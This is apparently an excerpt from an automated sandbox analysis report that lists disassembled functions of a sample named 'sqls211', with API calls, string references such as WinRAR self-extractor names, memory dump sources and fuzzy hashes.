Instruction ID: 3af096e8fa9b8c7c418f5ad2374f8de2ab11cfc964b4419aa5790d9614b02da0
Opcode Fuzzy Hash: 6a59a9fbe35db9dab02c4225d7442a7e34a9fbbeebc5fcfde6a9a8f0d4c7541e
Instruction Fuzzy Hash: 2341FAB1508345AFC710DF65C884A6FBBE9FF88714F04892EF996C2610E734E649DB52

Function 00CC2210 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 468COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00CC2536

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

Part of subcall function 00CD05DA: _wcslen.LIBCMT ref: 00CD05E0

Strings

;%u, xrefs: 00CC2523
xc%u, xrefs: 00CC275A
x%u, xrefs: 00CC26FD

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: __vswprintf_c_l_swprintf_wcslen
String ID: ;%u$x%u$xc%u
API String ID: 3053425827-2277559157
Opcode ID: 1a9640d37d13ee7d65a8729a9628e20b8d4c6299fa9fd6c11fec41118a4835b8
Instruction ID: bd91396eb8300915779c9058e1ec88604a07e9299aa538cc05306b0cc441069c
Opcode Fuzzy Hash: 1a9640d37d13ee7d65a8729a9628e20b8d4c6299fa9fd6c11fec41118a4835b8
Instruction Fuzzy Hash: 6EF116716083809BDB25EF28C4E5FFE77996F90300F08056DFD8A9B283CB649A45D762

Function 00CD9CFE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CD9D0A

Strings

>, xrefs: 00CD9D4B
</style>, xrefs: 00CD9E52
</p>, xrefs: 00CD9DE8
<br>, xrefs: 00CD9DFE
<style>, xrefs: 00CD9E30

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: 8639ca1030e84c5f529d129a6f453bfd679af5a635257a744625496847d08ccf
Instruction ID: 6ff7ba4a208aa532897f291575f68526f314e0ada4a5112e245f6565554f92b2
Opcode Fuzzy Hash: 8639ca1030e84c5f529d129a6f453bfd679af5a635257a744625496847d08ccf
Instruction Fuzzy Hash: F551046E74032295DB30AA259811777B3E2DFA5750F68042BFFD18B7C0FB758E818261

Function 00CEF68D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00CEFE02,00000000,00000000,00000000,00000000,00000000,?), ref: 00CEF6CF
__fassign.LIBCMT ref: 00CEF74A
__fassign.LIBCMT ref: 00CEF765
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00CEF78B
WriteFile.KERNEL32(?,00000000,00000000,00CEFE02,00000000,?,?,?,?,?,?,?,?,?,00CEFE02,00000000), ref: 00CEF7AA
WriteFile.KERNEL32(?,00000000,00000001,00CEFE02,00000000,?,?,?,?,?,?,?,?,?,00CEFE02,00000000), ref: 00CEF7E3

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 2a9c828e204fb14311206ed8eb980df6df02dcd8cb45e5a5b1f33960d7fe2b4f
Instruction ID: a59308952565a12aad10b89e7d33d016f83caa2b6081c8ab4881ef758cc7ecbd
Opcode Fuzzy Hash: 2a9c828e204fb14311206ed8eb980df6df02dcd8cb45e5a5b1f33960d7fe2b4f
Instruction Fuzzy Hash: BC5195B1900289AFDB10CFA5DC55BEEBBF4EF09300F14416EE555E7291D630AA42CBA1

Function 00CE2900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00CE2937
___except_validate_context_record.LIBVCRUNTIME ref: 00CE293F
_ValidateLocalCookies.LIBCMT ref: 00CE29C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00CE29F3
_ValidateLocalCookies.LIBCMT ref: 00CE2A48

Strings

csm, xrefs: 00CE29DD

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9b0ff00414f9462877fcf717dd2d4eaed830786435422e6d93025eb632845421
Instruction ID: a4af6e600449a7f7ed2bdb41fd1e18e2add349fdd0cd8f94d7abb16488d73d64
Opcode Fuzzy Hash: 9b0ff00414f9462877fcf717dd2d4eaed830786435422e6d93025eb632845421
Instruction Fuzzy Hash: F141DB30A00288AFCF10DF6AC885BAE7BB9EF44314F148065E9159B393D771DA41DF91

Function 00CD9ED5 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00CD9EEE
GetWindowRect.USER32(?,00000000), ref: 00CD9F44
ShowWindow.USER32(?,00000005,00000000), ref: 00CD9FDB
SetWindowTextW.USER32(?,00000000), ref: 00CD9FE3
ShowWindow.USER32(00000000,00000005), ref: 00CD9FF9

Strings

RarHtmlClassName, xrefs: 00CD9FA5

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 14334100710e3d8b143fc41e7ba500131f21b43ed7e36342e43eb92e14507964
Instruction ID: fdb64cb1e31c66fde1bc8965ee3f7b0f7c71133d067d59caa11f01cad1c1a818
Opcode Fuzzy Hash: 14334100710e3d8b143fc41e7ba500131f21b43ed7e36342e43eb92e14507964
Instruction Fuzzy Hash: BA41D331004310EFCB225FA5DC48B6B7BA8FF58701F00455AFA4AEA256DB38EA15CF65

Function 00CD9955 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 106COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CD995E
_wcslen.LIBCMT ref: 00CD9993

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00CD9987
 , xrefs: 00CD9A21
, xrefs: 00CD99B0
<br>, xrefs: 00CD99DF

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 176396367-3743748572
Opcode ID: 65439b8c146d5cfe08c5f52f0b4a4f005c5ba774a8392362f83a26ee8bedee31
Instruction ID: 1ff2ea22f4cf5efc82f011bcce338f0387091c0f87963ce3996e2f9bdf295120
Opcode Fuzzy Hash: 65439b8c146d5cfe08c5f52f0b4a4f005c5ba774a8392362f83a26ee8bedee31
Instruction Fuzzy Hash: 4031903B64438556D634AB919C42B7B73A4EB90320F50442FF69E87380FB70BF4093A5

Function 00CEC8A4 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CEC868: _free.LIBCMT ref: 00CEC891

_free.LIBCMT ref: 00CEC8F2

Part of subcall function 00CE8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34), ref: 00CE8DE2
Part of subcall function 00CE8DCC: GetLastError.KERNEL32(00CF3A34,?,00CEC896,00CF3A34,00000000,00CF3A34,00000000,?,00CEC8BD,00CF3A34,00000007,00CF3A34,?,00CECCBA,00CF3A34,00CF3A34), ref: 00CE8DF4

_free.LIBCMT ref: 00CEC8FD
_free.LIBCMT ref: 00CEC908
_free.LIBCMT ref: 00CEC95C
_free.LIBCMT ref: 00CEC967
_free.LIBCMT ref: 00CEC972
_free.LIBCMT ref: 00CEC97D

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction ID: b4fb0e72a834beba8870529c639b8cc0ee1e0faa0912b0e4b778991724d002cc
Opcode Fuzzy Hash: bf1448b5a367794c459becf00bdc5ad94e8d71ea07fb2ac2ae3d8aaabc3cc25b
Instruction Fuzzy Hash: D7112171580B85AAE530B7B3CD87FCB7BAC9F04B00F444C15B29D660D2DA75B60AA750

Function 00CDE5EE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00CDE669,00CDE5CC,00CDE86D), ref: 00CDE605
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00CDE61B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00CDE630

Strings

ReleaseSRWLockExclusive, xrefs: 00CDE625
KERNEL32.DLL, xrefs: 00CDE600
AcquireSRWLockExclusive, xrefs: 00CDE615

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: f5cd57587a903cf35a6deb889793495124549858e960edda4ee42cce3c7a4836
Instruction ID: 0c8afae9adf286ae41dfca87cd5aa24d4de1476f1ccda640d61e119ad1813283
Opcode Fuzzy Hash: f5cd57587a903cf35a6deb889793495124549858e960edda4ee42cce3c7a4836
Instruction Fuzzy Hash: 70F0C23978166AAB0B216E765C8467A62C86A35755300443BFB15DB300EB10CE57AAA1

Function 00CD146A Relevance: 9.1, APIs: 6, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD14C2

Part of subcall function 00CCB146: GetVersionExW.KERNEL32(?), ref: 00CCB16B

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00CD14E6
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CD1500
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00CD1513
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD1523
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD1533

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 59260349d37aac74b76e050f2d5a4cab0063b189252243d714484c0be444f586
Instruction ID: 116a628425041425fae7ddcb19d7b4dcb8f64720a2af96792425fd5eeeea57a0
Opcode Fuzzy Hash: 59260349d37aac74b76e050f2d5a4cab0063b189252243d714484c0be444f586
Instruction Fuzzy Hash: E131D775108345ABC704DFA8D884A9FB7E8BF98714F048A1EF995C3210E734D649CBA6

Function 00CE2AFA Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00CE2AF1,00CE02FC,00CDFA34), ref: 00CE2B08
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CE2B16
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CE2B2F
SetLastError.KERNEL32(00000000,00CE2AF1,00CE02FC,00CDFA34), ref: 00CE2B81

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 0d6925252b89d62c4ed9872d8a0c6f1a089b70730754927989fe41841c2b6f25
Instruction ID: 079c0443349c9c496cb619b606790b09eab38698aeb6d253791013228af8ced5
Opcode Fuzzy Hash: 0d6925252b89d62c4ed9872d8a0c6f1a089b70730754927989fe41841c2b6f25
Instruction Fuzzy Hash: 0201D4321183926FA6242B777C89B3A2B9EEB51774760073AF121560F0EF956E00E545

Function 00CE97E5 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00D01030,00CE4674,00D01030,?,?,00CE3F73,00000050,?,00D01030,00000200), ref: 00CE97E9
_free.LIBCMT ref: 00CE981C
_free.LIBCMT ref: 00CE9844
SetLastError.KERNEL32(00000000,?,00D01030,00000200), ref: 00CE9851
SetLastError.KERNEL32(00000000,?,00D01030,00000200), ref: 00CE985D
_abort.LIBCMT ref: 00CE9863

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 528a79b599acde398c730c46c4288a669e85551b2c82edbdafbfb66650d9105d
Instruction ID: ea1a8d7c2134f078e651f7c6badbd51e0ce989989c0fbf7f7ee3aad15ccbee66
Opcode Fuzzy Hash: 528a79b599acde398c730c46c4288a669e85551b2c82edbdafbfb66650d9105d
Instruction Fuzzy Hash: EEF0A4361406D266C73233277C0AB3F2A69DFD2775F250125F528921F2EE348A05D566

Function 00CDDC3B Relevance: 9.0, APIs: 6, Instructions: 42windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 00CDDC47
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDDC61
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDDC72
TranslateMessage.USER32(?), ref: 00CDDC7C
DispatchMessageW.USER32(?), ref: 00CDDC86
WaitForSingleObject.KERNEL32(?,0000000A), ref: 00CDDC91

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: 757b2e8c3205a196e7b19c4eca095ac1f4282726b75a58896e35b6073d9716c5
Instruction ID: 2674951eefd261d97164b843f2e946a66bc480b070475869f001075cc800b20e
Opcode Fuzzy Hash: 757b2e8c3205a196e7b19c4eca095ac1f4282726b75a58896e35b6073d9716c5
Instruction Fuzzy Hash: CBF03C72A01219BBCB206BA5DD4CEDF7F7DEF51791F004012B60AD2150D6798686CBB1

Function 00CCC0C5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 00CD05DA: _wcslen.LIBCMT ref: 00CD05E0

Part of subcall function 00CCB92D: _wcsrchr.LIBVCRUNTIME ref: 00CCB944

_wcslen.LIBCMT ref: 00CCC197
_wcslen.LIBCMT ref: 00CCC1DF

Strings

.exe, xrefs: 00CCC10B
.sfx, xrefs: 00CCC11A
.rar, xrefs: 00CCC0E1, 00CCC134

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen$_wcsrchr
String ID: .exe$.rar$.sfx
API String ID: 3513545583-31770016
Opcode ID: d1febb07f671b0b801b1a84eb80f7360c5e779c6559f10bf1405384e151d06bc
Instruction ID: 1b6b002f2aabfb91a04491bccd5b6ec8caa981fe83862c45f6b09dfa3b2a39ff
Opcode Fuzzy Hash: d1febb07f671b0b801b1a84eb80f7360c5e779c6559f10bf1405384e151d06bc
Instruction Fuzzy Hash: 3B413722500351A6C731AF75C882F7FB3B8EF40714F28094EFAA96B181EB619F81D391

Function 00CDCE87 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00CDCE9D

Part of subcall function 00CCB690: _wcslen.LIBCMT ref: 00CCB696

_swprintf.LIBCMT ref: 00CDCED1

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

SetDlgItemTextW.USER32(?,00000066,00D0946A), ref: 00CDCEF1
EndDialog.USER32(?,00000001), ref: 00CDCFFE

Strings

%s%s%u, xrefs: 00CDCEC6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcslen
String ID: %s%s%u
API String ID: 110358324-1360425832
Opcode ID: 7d51ac5bcdf5b0ef2a09bdbc9c63ad3454c7cfbf95ec76520ac03416160f3941
Instruction ID: 807bd98755ab0ea970c7a80d8065f31d362af8fa9e2ceadbc015a0375dfc1671
Opcode Fuzzy Hash: 7d51ac5bcdf5b0ef2a09bdbc9c63ad3454c7cfbf95ec76520ac03416160f3941
Instruction Fuzzy Hash: DE4183B5900259AADF259B90CC85FEE77BCEB04300F4080A7FA09E7251EE709A45DF72

Function 00CCBB03 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00CCBB27
GetCurrentDirectoryW.KERNEL32(000007FF,?,?,?,?,00000000,?,?,00CCA275,?,?,00000800,?,00CCA23A,?,00CC755C), ref: 00CCBBC5
_wcslen.LIBCMT ref: 00CCBC3B

Strings

\\?\, xrefs: 00CCBB52, 00CCBB99, 00CCBBF7, 00CCBC4E
UNC, xrefs: 00CCBBA7

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen$CurrentDirectory
String ID: UNC$\\?\
API String ID: 3341907918-253988292
Opcode ID: 5945574e1961e7a75b20b050424858e9eacdf07f72d8b6d4dd8b4abde3ce30a7
Instruction ID: 86516d9a72fcccef30eb83d49653b02d65b0cff0250697f18a1ab372ac35f5de
Opcode Fuzzy Hash: 5945574e1961e7a75b20b050424858e9eacdf07f72d8b6d4dd8b4abde3ce30a7
Instruction Fuzzy Hash: FD41B431400259B6CF21AFA4CC43FEF77A9AF41391F10446AF965A3151EBB5DF90DA60

Function 00CDB6DD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 00CDB6ED
GetObjectW.GDI32(00000000,00000018,?), ref: 00CDB712
